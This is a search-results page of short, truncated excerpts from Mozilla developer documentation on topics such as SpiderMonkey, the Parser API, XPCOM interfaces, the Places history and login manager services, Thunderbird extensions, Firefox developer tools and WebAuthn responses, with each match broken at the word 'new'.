...on in a script depends on the lexical scope of the function. if there is no enclosing function, with statement, or block scope, then the function's parent is the global object. otherwise, the parent is implementation-defined. it may be a call, with, or block object representing the function's dynamic scope, or it may be the global object. ...
...lementation-defined. it may be a call, with, or block object representing the function's dynamic scope, or it may be the global object. in any case the global object is guaranteed appear on the
new function's parent chain. the initial parent of an object created via the jsapi depends on the particular jsapi function (of which there are many that create objects, including but not limited to js_
newobject, js_constructobject, js_defineobject, js_valuetoobject, js_
newarrayobject, js_
newscriptobject, js_
newfunction, js_compilefunction, js_definefunction, js_definefunctions, and js_initclass). some of these functions allow the application to specify a parent object. if the jsapi function creating the object has a parent parameter, and the application passes a non-null value to it, then that obj...
...And 2 more matches
Parser API
type: "withstatement"; object: expression; body: statement; } a with statement. interface switchstatement <: statement { type: "switchstatement"; discriminant: expression; cases: [ switchcase ]; lexical: boolean; } a switch statement. the lexical flag is metadata indicating whether the switch statement contains any unnested let declarations (and therefore introduces a
new lexical scope). interface returnstatement <: statement { type: "returnstatement"; argument: expression | null; } a return statement. interface throwstatement <: statement { type: "throwstatement"; argument: expression; } a throw statement. interface trystatement <: statement { type: "trystatement"; block: blockstatement; handler: catchclause | null; guardedh...
...; right: expression; body: statement; } a for/of statement. interface letstatement <: statement { type: "letstatement"; head: [ variabledeclarator ]; body: statement; } a let statement. note: the let statement form is spidermonkey-specific. interface debuggerstatement <: statement { type: "debuggerstatement"; } a debugger statement. note: the debugger statement is
new in ecmascript 5th edition, although spidermonkey has supported it for years. declarations interface declaration <: statement { } any declaration node. note that declarations are considered statements; this is because declarations can appear in any statement context in the language recognized by the spidermonkey parser. note: declarations in arbitrary nested scopes are spidermonkey-specific. ...
...xpression <: expression { type: "logicalexpression"; operator: logicaloperator; left: expression; right: expression; } a logical operator expression. interface conditionalexpression <: expression { type: "conditionalexpression"; test: expression; alternate: expression; consequent: expression; } a conditional expression, i.e., a ternary ?/: expression. interface
newexpression <: expression { type: "
newexpression"; callee: expression; arguments: [ expression ]; } a
new expression. interface callexpression <: expression { type: "callexpression"; callee: expression; arguments: [ expression ]; } a function or method call expression. interface memberexpression <: expression { type: "memberexpression"; object: expression; pr...
...And 2 more matches
Feed content access API
e feed and sending it to the parser is done using code similar to this: fetch: function(feedurl) { var httprequest = null; function inforeceived() { var data = httprequest.responsetext; var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var uri = ioservice.
newuri(feedurl, null, null); if (data.length) { var parser = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); var listener =
new feedtestresultlistener(); try { parser.listener = listener; parser.parsefromstring(data, uri); } catch(e) {...
...h...
...rsefromstream(), or directly from an url using parseasync(). the actual processing of the parsed feed is done by a method called handleresult() on the feedtestresultlistener object. ...
...And 2 more matches
Using the Places history service
he global page information and the visit allows us to store information about each time the page was visited instead of just the last time. using the referrer information in each visit, the browsing path can be reconstructed at any time. the "session id" allows these paths to be reconstructed more easily. when the user starts browsing (for example, by typing in a link or following a bookmark), a
new session id is created.
new visits get the same session id as their referrer. this means that one "session" is comprised of going to a
new page, and following a bunch of links or redirects. a session is ended when a
new url is typed in or selected from bookmarks. these session ids allow the dotted lines separating related pages in the history view to be easily computed. creating the history servi...
...completes correctly a "places-init-complete" topic is notified, at this point is possible to look for database status: var databasestatus = historyservice.databasestatus; switch (databasestatus) { case historyservice.database_status_ok: // database did already exist and has been correctly initialized. break; case historyservice.database_status_create: // database did not exist, a
new one has just been created and initialized. break; case historyservice.database_status_corrupt: // database was corrupt, has been moved to a .corrupt file and a
new one has been created and initialized. break; case historyservice.database_status_upgraded: // database had an old schema version and has been upgraded to a
new one. break; } in case the database is locked by a...
...e able to initialize. adding pages to history nsiglobalhistory2.adduri: this is the basic function for adding pages to history that is called by the docshell as you browse. the redirect flag is deprecated. see adddocumentredirect below. nsiglobalhistory3.adddocumentredirect: this is called by the docshell when a redirect occurs. it replaces the old redirect flag on adduri. it gives the old and
new channels to the history service so that the source page of the redirect can be determined. nsibrowserhistory.addpagewithdetails: called by history importing code.
new code should use nsinavhistoryservice.setpagedetails. nsinavhistoryservice.addvisit: this is an advanced function that allows the caller to set the exact referring visit, the time, the session, etc. it is designed for people writin...
...And 2 more matches
Creating a Python XPCOM component
nterfaces.nsipysimple _reg_clsid_ = "{c456ceb5-f142-40a8-becc-764911bc8ca5}" _reg_contractid_ = "@mozilla.org/pysimple;1" def __init__(self): self.yourname = "a default name" # or mname ? ...
...it is helpful to then start m...
...generating implementation templates the module xpcom.xpt is used internally to process type information, but it has a nice feature - it can spit out a template for a python implementation of any interface. ...
...And 2 more matches
XPCOM Stream Guide
the data within them to something more useful. primitive streams there are streams for several different types of data storage. each of these implements nsiinputstream. ...
... any implementation of nsichannel will have an input stream as well, but unless you own the channel, you shouldn't try to read from the input stream. there are two ways of getting the input stream: by calling the channel's .open() method for a synchronous read, or by calling the channel's .asyncopen() method with an nsistreamlistener object. you can get an nsichannel object from the io service's
newchannel(spec, charset, baseuri) method or its .
newchannelfromuri(uri) method. the "safe file output stream" mozilla provides a "safe file output stream" implementation. this implementation actually writes the contents of the file you're trying to create to a temporary file. if everything goes well, calling the stream's .finish() method overwrites the original file with the
new file. using strea...
...ons, and all operations are queued zipwriter.processqueue(); // when we don't need the zipwriter anymore zipwriter.close(); concatenating input streams var stringstream = components.constructor("@mozilla.org/io/string-input-stream;1", "nsistringinputstream", "setdata"); function buildstream(data) { return
new stringstream(data, data.length); } function run_test() { var str1 = buildstream("we "); var str2 = buildstream("will "); var str3 = buildstream("rock "); var str4 = buildstream("you!"); var check = "we will rock you!"; var multi = components.classes["@mozilla.org/io/multiplex-input-stream;1"] .createinstance(components.interfaces.nsimultiplexinputstream); ...
...And 2 more matches
Components.Constructor
summary creates a javascript function which can be used to create or construct
new instances of xpcom components. syntax var func = [
new ] components.constructor(contractid [, interfacename [, initializer ] ]); parameters contractid a string containing the contract id of the component interfacename if given, nsisupports.queryinterface() will be called on each
newly-created instance with the interface named by this string initializer if given, a string containing the name of a function which will be called on the
newly-created instance, using the arguments provided to the created function when called description components.constructor() is a handy shortcut for creating instances of xpcom components. it eliminates the clutter of typing components.classes, components.int...
...hen called. if only one argument is given, that argument is the contract id of the xpcom component to create. the component is then returned immediately, with only the base interface nsisupports available on it; you must call nsisupports.queryinterface() on it to call methods on the object. ...
...the arguments used with the initialization method...
...And 2 more matches
nsACString_internal
the caller must not modify the characters at the returned address. @returns the length of the buffer in cha...
... the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmutabledata pruint32 getmutabledata(char**,...
... nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32
newcapacity setlength void setlength(pruint32) - source parameters pruint32
newlength truncate void truncate(pruint32) - source parameters pruint32
newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmutabledata pruint32 getmutabledata(char**, pruint32) - source get a pointer to the string's internal buffer, optionally re...
...And 2 more matches
nsAString_internal
the caller must not modify the characters at the returned address. @returns the length of the buffer i...
... the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmutabledata pruint32 getmutableda...
...s nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32
newcapacity setlength void setlength(pruint32) - source parameters pruint32
newlength truncate void truncate(pruint32) - source parameters pruint32
newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmutabledata pruint32 getmutabledata(prunichar**, pruint32) - source get a pointer to the string's internal buffer...
...And 2 more matches
nsDependentCSubstring
the caller must not modify the characters at the returned address. @returns the length of the buffer in cha...
... the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmutabledata pruint32 getmutabledata(char**,...
... nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32
newcapacity setlength void setlength(pruint32) - source parameters pruint32
newlength truncate void truncate(pruint32) - source parameters pruint32
newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters char** data getmutabledata pruint32 getmutabledata(char**, pruint32) - source get a pointer to the string's internal buffer, optionally re...
...And 2 more matches
nsDependentSubstring
the caller must not modify the characters at the returned address. @returns the length of the buffer i...
... the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmutabledata pruint32 getmutableda...
...s nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32
newcapacity setlength void setlength(pruint32) - source parameters pruint32
newlength truncate void truncate(pruint32) - source parameters pruint32
newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer. the caller must not modify the characters at the returned address. @returns the length of the buffer in characters. parameters prunichar** data getmutabledata pruint32 getmutabledata(prunichar**, pruint32) - source get a pointer to the string's internal buffer...
...And 2 more matches
nsIBrowserSearchService
during startup. if you need to write code that is executed during startup and makes use of nsibrowsersearchservice, you should make sure that this code is executed from the callback to init(). ...
...may be null if there are no visible search engines. defaultengine nsisearchengine the de...
...rst visible engine if the default engine is hidden. may be null if there are no visible search engines. read only. originaldefaultengine nsisearchengine the original default engine. this differs from the "defaultengine" attribute in that it always returns a given build's default engine, regardless of whether it is hidden. read only. methods addengine() adds a
new search engine from the file at the supplied uri, optionally asking the user for confirmation first. if a confirmation dialog is shown, it will offer the option to begin using the
newly added engine right away; if no confirmation dialog is shown, the
new engine will be used right away automatically. void addengine( in astring engineurl, in long datatype, in astring iconurl, in boolean conf...
...And 2 more matches
nsIDOMNode
dom/interfaces/core/nsidomnode.idlscriptable this interface is the primary datatype for the entire document object model. it represents a single node in the document tree. inherits from: nsisupports last changed in gecko 0.9.6 method overview nsidomnode appendchild(in nsidomnode
newchild) nsidomnode clonenode(in boolean deep); boolean hasattributes(); boolean haschildnodes(); nsidomnode insertbefore(in nsidomnode
newchild, in nsidomnode refchild) boolean issupported(in domstring feature, in domstring version); void normalize(); nsidomnode removechild(in nsidomnode oldchild) nsidomnode replacechild(in nsidomnode
newchild, in nsidomnode oldchild) attributes attribute type description attributes nsidomnamednodemap read only. childnodes nsidomnodelist ...
...ode read only. ...
...ts constant value description element_node 1 attribute_node 2 text_node 3 cdata_section_node 4 entity_reference_node 5 entity_node 6 processing_instruction_node 7 comment_node 8 document_node 9 document_type_node 10 document_fragment_node 11 notation_node 12 methods appendchild() nsidomnode appendchild( in nsidomnode
newchild ); parameters
newchild return value clonenode() nsidomnode clonenode( in boolean deep ); parameters deep return value hasattributes() boolean hasattributes(); parameters none. return value haschildnodes() boolean haschildnodes(); parameters none. return value insertbefore() nsidomnode insertbefore( in nsidomnode
newchild, in nsidomnode refchild ); parameters
newchild refchild return value i...
...And 2 more matches
Using nsILoginManager
name, form submit url, http realm, username, username field, password, and password field. the hostname, username and password attributes are mandatory, while the other fields are set based on whether the login is for a web page form or an http/ftp authentication site login. see the nsilogininfo attribute definitions for more details. ...
... are mandatory, while the other fields are set based on whether the login is for a web page form or an http/ftp authentication site login. see the nsilogininfo attribute definitions for more details. ...
...finitions for more details. ...
...And 2 more matches
nsILoginManager
note: default val...
... note: default values for the nsiloginmetainfo properties are created if the specified login doesn't explicitly specify them. void addlogin( in nsilogininfo alogin ); parameters alogin the login to store. ...
...t saving login information is enabled for a host. boolean getloginsavingenabled( in astring ahost ); parameters ahost the hostname to check. this argument should be in the origin url format, with no pathname. for example: "https://www.site.com". return value true if login saving is enabled for the host, otherwise false. modifylogin() modifies an existing login by replacing it with a
new one. if
newlogindata is a nsilogininfo, all of the old login's nsilogininfo properties are changed to the values from
newlogindata (but the old login's nsiloginmetainfo properties are unmodified). if
newlogindata is a nsipropertybag, only the specified properties will be changed. the nsiloginmetainfo properties of oldlogin can be changed in this manner. if the propertybag contains an item name...
...And 2 more matches
nsIURI
6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) see the following rfcs for details: rfc3490: internationalizing domain names in applications (idna) rfc3986: uniform resource identifier (uri): generic syntax rfc3987: internationalized resource identifiers subclasses of nsiuri, such as nsiurl, impose further structure on the uri. ...
...ationalized resource identifiers subclasses of nsiuri, such as nsiurl, impose further structure on the uri. ...
...-ascii) the scheme is the protocol to which this uri refers. the scheme is restricted to the us-ascii charset per rfc3986. warning: setting this is highly discouraged outside of a protocol handler implementation, since doing so will generally lead to unpredictable results. spec autf8string returns a string representation of the uri. setting the spec causes the
new spec to be parsed using the rules for the scheme the uri currently has. if the string cannot be parsed as a uri, ns_error_malformed_uri thrown. warning: because parsing the string is done using the current uri's scheme, setting the spec to a uri with a different scheme will produce incorrect results. therefore, only protocol handler implementations should do this. if the uri stores info...
...And 2 more matches
nsIWebBrowserPersist
the encoder. awrapcolumn for text documents, indicates the desired width to wrap text at. parameter is ignored if wrapping is not specified by the encoding flags. exceptions thrown ns_error_invalid_arg one or more arguments was invalid. saveuri() as of firefox 26, this method should no longer be used from add-on code. please use downloads.createdownload() instead. as of firefox 36, a
new parameter areferrerpolicy was added as the fourth argument, changing the number of parameters from 7 to 8 and shifting the order of the parameters in a backwards incompatible way. save the specified uri to file. void saveuri( in nsiuri auri, in nsisupports acachekey, in nsiuri areferrer, in long areferrerpolicy, in nsiinputstream apostdata, in string aextraheaders, in nsisupports...
...aveprivacyawareuri() save the specified uri to file, explicitly dictating whether the operation should be considered private for the purposes of network requests, caching, etc. all arguments and exceptions are identical to saveuri, with the exception of aisprivate which is used to indicate the private nature of the operation. ...
...es of network requests, caching, etc. all arguments and exceptions are identical to saveuri, with the exception of aisprivate which is used to indicate the private nature of the operation. ...
...And 2 more matches
Storage
ch can be used by web pages to store persistent data or the session store api (an xpcom storage utility for use by extensions). getting started this document covers the storage api and some peculiarities of sqlite. it does not cover sql or "regular" sqlite. you can find some very useful links in the see also section however. for storage api help, you can post to mozilla.dev.apps.platform on the
news server
news.mozilla.org. to report bugs, use bugzilla. the overall procedure for use is: get the storage service - mozistorageservice. open a connection to the database of your choice - mozistorageconnection. create statements to execute on the connection - mozistoragestatement. bind parameters to a statement as necessary. execute the statement. check for errors. reset the statement. ...
...(rv, rv); rv = statement->bindint32parameter(0, 1234); ns_ensure_success(rv, rv); note: numerical indexes for parameters are always one less than the number you write in the sql. the use of numerical indexes for parameters is strongly discouraged in javascript where named parameters are much easier to use. ...
...arameters are much easier to use. binding multiple sets of parameters starting in gecko 1.9.2 (firefox 3.6), there's a
new, more convenient way to bind multiple sets of parameters at once prior to executing your statement asynchronously. this api is only available for asynchronous execution. let stmt = dbconn.createstatement("insert into table_name (value) values(:value)"); let params = stmt.
newbindingparamsarray(); for (let i = 0; i < 10; i++) { let bp = params.
newbindingparams(); bp.bindbyname("value", i); params.addparams(bp); } stmt.bindparameters(params); you can attach multiple sets of bindings to a statement by adding multiple mozistoragebindingparams objects to the array of parameter lists, adding each one through calls to the mozistoragebindingparamsarray.addparams(). on...
...And 2 more matches
Creating a gloda message query
query using gloda, thunderbird's global database. see the gloda page for background on the component. see gloda examples for more code samples. creating your first message query... import gloda gloda's api is exposed in the "gloda" object that is contributed to your namespace. you can find the file, which includes doxygen markup of sorts, here: https://hg.mozilla.org/comm-central/file/tip/mail
news/db/gloda/modules/gloda.js components.utils.import("resource:///modules/gloda/public.js"); create the query let query = gloda.
newquery(gloda.noun_message); add constraints to the query each constraint function takes one or more arguments which are "or"ed together. so if we had a "color" constraint such as query.color("red", "green", "blue") would mean any of red, green, or blue is okay. con...
.../mozilla/thunderbird/thunderbird_extensions/demo_addon, demo3, it seems that the attributename given in these files is the constraintname to be used (e.g. query.subjectmatches(searchstring) for message subject (compare fundattr.js line 145 ). create a collection from the query your listener is notified as messages are added to the collection as the database query completes. ...
...nderbird_extensions/demo_addon, demo3, it seems that the attributename given in these files is the constraintname to be used (e.g. query.subjectmatches(searchstring) for message subject (compare fundattr.js line 145 ). create a collection from the query your listener is notified as messages are added to the collection as the database query completes. ...
...And 2 more matches
Mail event system
warning: the content of this article may be out of date. it was imported from mozilla.org and last updated in 2002. mozilla mail requires an event system to notify different subsystems that data has changed. this document describes the system that events are passed amongst the mail objects. for example, when a folder gets a
new message, its total message count increases. the folder pane needs to know that this changed so that it can update the message count so the user can see it. interfaces the key interfaces here are: nsifolder.idl is an interface for storing a hierarchy of objects with properties. this interface is not (should not be) mail-related. nsifolders each store individual lists of folder listeners which are maintained with addlistener() and removelistener(). w...
...vent type has a two methods associated with it: notify*<event> - in the nsifolder interface, and nsimsgmailsession interface. onitem*<event> - in the nsifolderlistener interface. the mail session implements this interface. where <event> is the type of event, such as boolpropertychanged or the generic event . sample control flow here is an example of a possible flow of control when a
new message is added to a folder. in this example, there is a dialog open that shows properties for this folder including the message count. this dialog is a listener on this particular folder. a message is added to an nsimapmailfolder containing 4 messages. because the number of messages in the folder have increased, this change in total message count needs to be broadcast to the world. the fold...
...leteormovemessages ondeleteormovemessages sample code in this example, a listener will be set up to be notified when the message count changes in a folder: // our variable to know if the listener fired var listenerhasfired = false; var totalmessageslistenerhasfired = false; // the listening function that will react to changes function myonintpropertychanged(item, property, oldvalue,
newvalue) { listenerhasfired=true; var propertystring = property.getunicode(); dump("onintpropertychanged has fired with property + " + propertystring + "!\n"); if (propertystring == "totalmessages") { totalmessageslistenerhasfired=true; //now show us visually var folder = item.queryinterface(components.interfaces.nsimsgfolder); dump("the folder " + folder.prettynam...
...And 2 more matches
Creating a Custom Column
the following step through will get you well on the road to creating your own columns and populating them with custom data. getting started in this example we will be developing a small extension that will be adding a column that will display the "reply-to:" field of an email (if it exists, it if often not set). if you are unfamiliar with the setup and creation of an extension please read building a thunderbird extension. adding a column by far the easiest part is the physical addition of the column. ...
...yet. the column handler now that our column physically exists it's time to give it a bit of personality. the nsimsgcustomcolumnhandler interface to handle a column we need to implement the nsimsgcustomcolumnhandler interface which defines the basic set o...
... persist="hidden ordinal width" currentview="unthreaded" flex="2" label="reply-to" tooltiptext="click to sort by the reply-to header" /> </treecols> </tree> <!-- include our javascript file --> <script type="text/javascript" src="chrome://replyto_col/content/replyto_col.js"/> </overlay> that's it! our
new column exists and is ready to be used. unfortunately the
new column doesn't have any data in it and it doesn't react to sort clicks on it... yet. the column handler now that our column physically exists it's time to give it a bit of personality. the nsimsgcustomcolumnhandler interface to handle a column we need to implement the nsimsgcustomcolumnhandler interface which defines the basic set of functionality that must be implemented to handle a column. ...
...And 2 more matches
Demo Addon
overview this demo add-on has been created by jonathan protzenko for his presentation at mozcamp 2011. it shows how to achieve various goals in a working live example, such as working with gloda. you can download it at the bottom of the page. how to use after installing the demo add-on in thunderbird, right click on the toolbar and choose "customize". drag the "demo" button into the toolbar. afterwards, just click that button to show the demo overview. ...
...heck every folder for subfolders. we then go into each subfolder and start over. ...
...
new date(msghdr.date/1000), }); //... } to get a collection of messages in the inbox, we use inbox.msgdatabase.enumeratemessages(). each message is a nsimsgdbhdr. we iterate over the first ten of them and extract author, subject and date for each one. demo 3- search messages by subject this demo shows how to find messages by a subject accross all folders using gloda. ...
...And 2 more matches
Thunderbird extensions
underbird email client. there are similarities with firefox extensions, but there are also differences that may confound the starting thunderbird developer. this documention series focuses on thunderbird. need personalized help? see community / communications. warning: this content is for older versions of thunderbird. much of it may no longer be relevant. see developer.thunderbird.net for
newer information. documentation getting started with thunderbird a brave, young developer wants to develop an add-on for thunderbird. these links to help through this journey. start by reading the tutorial and learn how to build a thunderbird extension. also see thunderbird 57-60 add-ons guide for changes introduced in thunderbird 60. read about the main...
... the gloda examples gloda internals: gloda debugging, gloda indexing more thunderbird-specific links some links may be out of date, but they still provide valuable information on the codebase. ...
...oda internals: gloda debugging, gloda indexing more thunderbird-specific links some links may be out of date, but they still provide valuable information on the codebase. ...
...And 2 more matches
StructType
this data type provides the ability to define and manipulate values of the c struct type. note: at this time, there isn't a way to denote a packed structure (that is, one created in c using #pragma pack). ctype structtype( name[, fields] ); parameters name the name of the structure. must be a string. fields optional an array of field descriptors, describing all the entries in the structure. if this isn't specified, the structure is considered opaque and you can't access its contents directly. you can call the resulting type's define() method to assign it a non-opaque type later. ...
...ring. fields optional an array of field descriptors, describing all the entries in the structure. if this isn't specified, the structure is considered opaque and you can't access its contents directly. you can call the resulting type's define() method to assign it a non-opaque type later. see opaque structures for further explanation and an example. return value a ctype object describing the
newly created struct data type. exceptions thrown typeerror the name is not a string, or one or more of the fields does not have a defined size. rangeerror the size of the structure, in bytes, cannot be represented both as a size_t and as a javascript number. describing fields the fields array is comprised of field descriptors, one for each field in the structure. each field descriptor cont...
...ource() string tostring() methods define() defines a previously declared opaque type's fields. this lets you convert an opaque structure type into a defined structure type. define( fields ); parameters fields a field specification, as described above. structtype cdata syntax cdata structtype(); structtype is structtype ctype. return value a cdata representing the
newly allocated struct. exceptions thrown error fields are not yet defined. structtype cdata properties every struct object has a getter and a setter for each member field of the structure. properties inherited from cdata property type description constructor ctype the data type of the cdata object, as a ctype. read only. note: this is never ctypes.vo...
...And 2 more matches
Debugger.Object - Firefox Developer Tools
ing about interfering with other debuggers. while most debugger.object instances are created by spidermonkey in the process of exposing debuggee’s behavior and state to the debugger, the debugger can use debugger.object.prototype.makedebuggeevalue to create debugger.object instances for given debuggee objects, or use debugger.object.prototype.copy and debugger.object.prototype.create to create
new objects in debuggee compartments, allocated as if by particular debuggee globals. debugger.object instances protect their referents from the garbage collector; as long as the debugger.object instance is live, the referent remains live. this means that garbage collection has no visible effect on debugger.object instances. accessor properties of the debugger.object prototype a debugger.object in...
...tect their referents from the garbage collector; as long as the debugger.object instance is live, the referent remains live. this means that garbage collection has no visible effect on debugger.object instances. accessor properties of the debugger.object prototype a debugger.object instance inherits the following accessor properties from its prototype: proto the referent’s prototype (as a
new debugger.object instance), or null if it has no prototype. this accessor may throw if the referent is a scripted proxy or some other sort of exotic object (an opaque wrapper, for example). class a string naming the ecmascript [[class]] of the referent. callable true if the referent is a callable object (such as a function or a function proxy); false otherwise. name the name of the referen...
...n() return true if the referent is frozen—that is, if it is not extensible, and all its properties have been marked as non-configurable and read-only. (this function behaves like the standard object.isfrozen function, except that the object inspected is implicit and in a different compartment from the caller.) isextensible() return true if the referent is extensible—that is, if it can have
new properties defined on it. (this function behaves like the standard object.isextensible function, except that the object inspected is implicit and in a different compartment from the caller.) copy(value) apply the html5 “structured cloning” algorithm to create a copy ofvalue in the referent’s global object (and thus in the referent’s compartment), and return a debugger.object instance ...
...And 2 more matches
Index - Firefox Developer Tools
execution of other javascript code. both firefox’s built-in developer tools and the firebug add-on use debugger to implement their javascript debuggers. however, debugger is quite general, and can be used to implement other kinds of tools like tracers, coverage analysis, patch-and-continue, and so on. 18 debugger when called as a constructor, the debugger object creates a
new debugger instance. 19 debugger.environment a debugger.environment instance represents a lexical environment, associating names with variables. each debugger.frame instance representing a debuggee frame has an associated environment object describing the variables in scope in that frame; and each debugger.object instance representing a debuggee function has an environment obj...
...; the debugger can access them only through methods like debugger.object.prototype.getownpropertydescriptor and debugger.object.prototype.defineproperty, ensuring that the debugger will not inadvertently invoke the referent's getters and setters. 28 deprecated tools deprecated, tools over the course of devtools development, we have added several experimental panels to try out
new ideas. not all of these have had wide adoption, and due to the cost of maintenance, seldom used panels are eventually removed. 29 devtools api devtools the devtools api provides a way to register and access developer tools in firefox. 30 devtoolscolors css this chart lists colors and css variables as implemented in the dark theme and light theme for devel...
...inators with a garbage-collected language, like javascript, the programmer doesn't generally have to worry about deallocating memory. they can just create and use objects, and when the objects are no longer needed, the runtime takes care of cleaning up, and frees the memory the objects occupied. 42 dominators view starting in firefox 46, the memory tool includes a
new view called the dominators view. this is useful for understanding the "retained size" of objects allocated by your site: that is, the size of the objects themselves plus the size of the objects that they keep alive through references. 43 monster example this article describes a very simple web page that we'll use to illustrate some features of the memory tool. 44 ...
...And 2 more matches
Examine and edit CSS - Firefox Developer Tools
you can examine and edit css in the inspector's css pane. examine css rules the rules view lists all the rules that apply to the selected element, ordered from most-specific to least-specific: the four buttons on the right top of the rules view allow you to change the display of certain css and rules view features. you can: toggle pseudo-classes; toggle classes; add a
new rule; change the display based on the color scheme preference (as of firefox 72, you must set devtools.inspector.color-scheme-simulation.enabled to true in the configuration editor to enable this feature); change the display based on print media rules. a warning icon appears next to unsupported css properties or rules that have invalid values. this can help you understand why certain styles are not being app...
...or example: viewing and changing classes on an element with an element selected in the html pane, you can click the .cls button in the rules pane toolbar, to display the classes defined on that element. you can clear the checkbox for a particular class name, to see how the element would appear without that class applied to it. you can add a class to the element by typing a name in the add
new class field below the rules toolbar. autocompletions based on existing classes are suggested as you type. link to css file at the top right of each rule, the source filename and line number is displayed as a link: clicking it opens the file in the style editor. you can copy the location of the source file: right-click the link and select "copy location". the inspector understands css source ...
...the computed view, you can press ctrl / cmd + f to focus the search field. once you've typed in a filter, you can press esc to remove it again. edit rules if you click on a declaration or a selector in the rules view you can edit it and see the results immediately. you can also tab through the different existing properties and values, and start editing them by pressing enter or space. to add a
new declaration to a rule, click on the last line of the rule (the line occupied by the closing brace). as you start typing a property name, you'll see a list of autocomplete suggestions. press tab to accept the current suggestion or up and down to move through the list. the default choice is the most common property that starts with the letters you've typed. for example, here the user has typed "c"...
...And 2 more matches
Waterfall - Firefox Developer Tools
drawing pixels to the screen. garbage collection garbage collection event. non-incremental gc events are labeled "(non-incremental)". reason a string indicating the reason gc was performed. non-incremental reason if the gc event was non-incremental, the string indicates the reason non-incremental gc was performed.
new in firefox 46: if the gc event was caused by allocation pressure, a link appears, labeled "show allocation triggers". click the link to see the allocation profile leading up to this gc event. see allocations and garbage collection for more details. cycle collection reclaiming c++ reference-counted data structures. like garbage collection, but for c++ objects.
...ration/pre-optimization for cycle collection. type always "forgetskippable". console the period between matching calls to console.time() and console.timeend(). timer name the argument passed to the console functions. stack at start call stack console.time(), with links to functions. stack at end (
new in firefox 41). call stack at console.timeend(). if this is inside a callback from a promise, this will also show the "async stack". timestamp a single call to console.timestamp(). label the argument passed to timestamp(). domcontentloaded the document's domcontentloaded event. load t...
...splay, font-size, or top, will cause a reflow. however, changing properties that don't alter geometry or position, such as color or opacity, will not. not all css property changes cause a repaint. in particular, if you animate an element using the transform property, the browser will use a separate layer for the transformed element, and doesn't even have to repaint when the element is moved: the
new position of the element is handled in composition. the animating css properties article shows how animating different css properties can give different performance outcomes, and how the waterfall can help signal that. blocking javascript by default, a site's javascript is executed in the same thread that the browser uses for layout updates, repaints, dom events, and so on. this means that lon...
...And 2 more matches
Settings - Firefox Developer Tools
settings are on the developer tools settings pane. to see the settings, open any of the developer tools, and then: click the "settings" command in the menu: or press f1 to toggle between the active tool and the settings pane the settings pane looks something like this: categories default firefox developer tools this group of checkboxes determines which tools are enabled in the toolbox.
new tools are often included in firefox but not enabled by default. available toolbox buttons this group of checkboxes determines which tools get an icon in the toolbox's toolbar. as of firefox 62, if the option to "select an iframe as the currently targeted document" is checked, the icon will appear in the toolbar while the settings tab is displayed, even if the current page doesn't include any i...
...t" button is now always shown. themes this enables you to choose one of two themes. there's a light theme, which is the default: a dark theme: common preferences settings that apply to more than one tool. there's just one of these: enable persistent logs a setting to control whether or not the web console and network monitor clear their output when you navigate to a
new page. if common preferences is not included in the settings, web console logs can be persisted by using the 'about:config' url in browser address bar, searching for: 'devtools.webconsole.persistlog' then toggling this value to true inspector show browser styles a setting to control whether styles applied by the browser (user-agent styles) should be displayed in the inspector's rules v...
...th". default color unit a setting to control how colors are represented in the inspector: hex hsl(a) rgb(a) color name as authored. enable layout panel enable the experimental layout panel. this setting only exists in firefox nightly. web console enable timestamps controls whether the web console displays timestamps. the web console defaults to hiding timestamps. enable
new console frontend switch to the experimental
new console. this setting only exists in firefox nightly. debugger enable source maps enable source map support in the debugger. enable
new debugger frontend enable the
new debugger. this setting only exists in firefox nightly. style editor show original sources when a css preprocessor supporting source maps is used, this enables the styl...
...And 2 more matches
AudioContext.createMediaElementSource() - Web APIs
returns a mediaelementaudiosourcenode. ...
... returns a mediaelementaudiosourcenode. ...
...tinationnode for playback. when the mouse pointer is moved, the updatepage() function is invoked, which calculates the current gain as a ratio of mouse y position divided by overall window height. you can therefore increase and decrease the volume of the playing music by moving the mouse pointer up and down. note: you can also view this example running live, or view the source. ...
...And 2 more matches
AuthenticatorAttestationResponse.attestationObject - Web APIs
the public key that corresponds to the private key that has created the attestation signature is well known; however, there are various well known attestation public key chains for different ecosystems (for example, android or tpm attestations). ...
...the public key that corresponds to the private key that has created the attestation signature is well known; however, there are various well known attestation public key chains for different ecosystems (for example, android or tpm attestations). ...
...y webauthn are: "packed" "tpm" "android-key" "android-safetynet" "fido-u2f" "none" attstmt a an attestation statement that is of the format defined by "fmt". for now, see the webauthn specification for details on each format. ...
...And 2 more matches
AuthenticatorAttestationResponse - Web APIs
this response should be sent to the relying party's server to complete the creation of the credential. this interface inherites from authenticatorresponse. note: this interface is restricted to top-level contexts. use from within an <iframe> element will not have any effect. ...
... any effect. properties authenticatorattestationresponse.clientdatajson secure contextread only client data for the authentication, such as origin and challenge. the clientdatajson property is inherited from the authenticatorresponse. authenticatorattestationresponse.attestationobject secure contextread only an arraybuffer containing authenticator data and an attestation statement for a
